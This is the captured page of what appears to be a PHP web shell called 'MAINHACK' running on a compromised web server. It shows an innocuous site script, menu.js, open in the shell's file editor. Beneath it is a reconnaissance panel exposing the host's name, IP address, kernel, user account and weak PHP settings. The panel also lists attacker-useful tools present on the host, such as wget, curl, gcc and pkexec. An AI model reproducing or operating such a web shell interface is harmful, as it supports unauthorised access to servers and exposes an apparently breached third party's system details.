[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: menu.js
$(function(){ "use strict"; let base_url = $('#base_url_').val(); /** add active class and stay opened when selected */ let url = window.location; $('.set_collapse').on('click', function() { let status = Number($('.set_collapse').attr("data-status")); let outlet_responsive = Number($('.outlet_responsive').attr("data-status")); let status_tmp = ''; if(status==1 || outlet_responsive == 1){ $('.set_collapse').attr('data-status',2); $('.outlet_responsive').attr('data-status',2); $('.outlet_large').addClass('d-none'); $('.outlet_large').removeClass('d-block'); $('.outlet_small').addClass('d-block'); $('.outlet_small').removeClass('d-none'); $('#menu-search').parent().show(); status_tmp = "No"; $(this).css('transform', 'rotate(0deg)'); }else{ $('.set_collapse').attr('data-status',1); $('.outlet_responsive').attr('data-status',1); $('.outlet_large').addClass('d-block'); $('.outlet_large').removeClass('d-none'); $('.outlet_small').addClass('d-none'); $('.outlet_small').removeClass('d-block'); $('#menu-search').parent().hide(); status_tmp = "Yes"; $(this).css('transform', 'rotate(180deg)'); } $(this).css('transition', '0.7s all ease'); $.ajax({ url: base_url+'Ajax_View/set_collapse', method: "POST", data: { status: status_tmp, }, success: function(response) { } }); }); function setActiveCurrentURL() { let currentPath = (window.location.origin + window.location.pathname).toLowerCase(); $('.treeview a, .treeview2 a').each(function () { let linkPath = this.href.toLowerCase(); if (currentPath.startsWith(linkPath)) { $(this) .closest('.treeview, .treeview2') .addClass('active_sub_menu menu-open'); $(this) .parent() .addClass('treeMenuActive'); } }); if (window.location.href.includes("Email_setting")) { $('.special-menu-email').parent().addClass('treeMenuActive'); $('.special-menu-email').parent().parent().parent().addClass('active_sub_menu menu-open'); } if (window.location.href.includes("Short_message_service")) { $('.special-menu-sms').parent().addClass('treeMenuActive'); $('.special-menu-sms').parent().parent().parent().addClass('active_sub_menu menu-open'); } } setActiveCurrentURL(); $(document).ready(function(){ $(".menu-open").click(function(e){ // Toggle the visibility of the inner UL with animation $(this).children(".treeview-menu").slideToggle(); }); }); let activeSubMenu = $(".menu-open"); if (activeSubMenu.length) { let scrollPosition = activeSubMenu.position().top - 100; $(".sidebar-menu").scrollTop(scrollPosition); } $(document).on('click', '.biponi_silver', function(e){ e.preventDefault(); toastr['error'](('Available for Gold, Pharmacy and Enterprise packages.'), ''); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002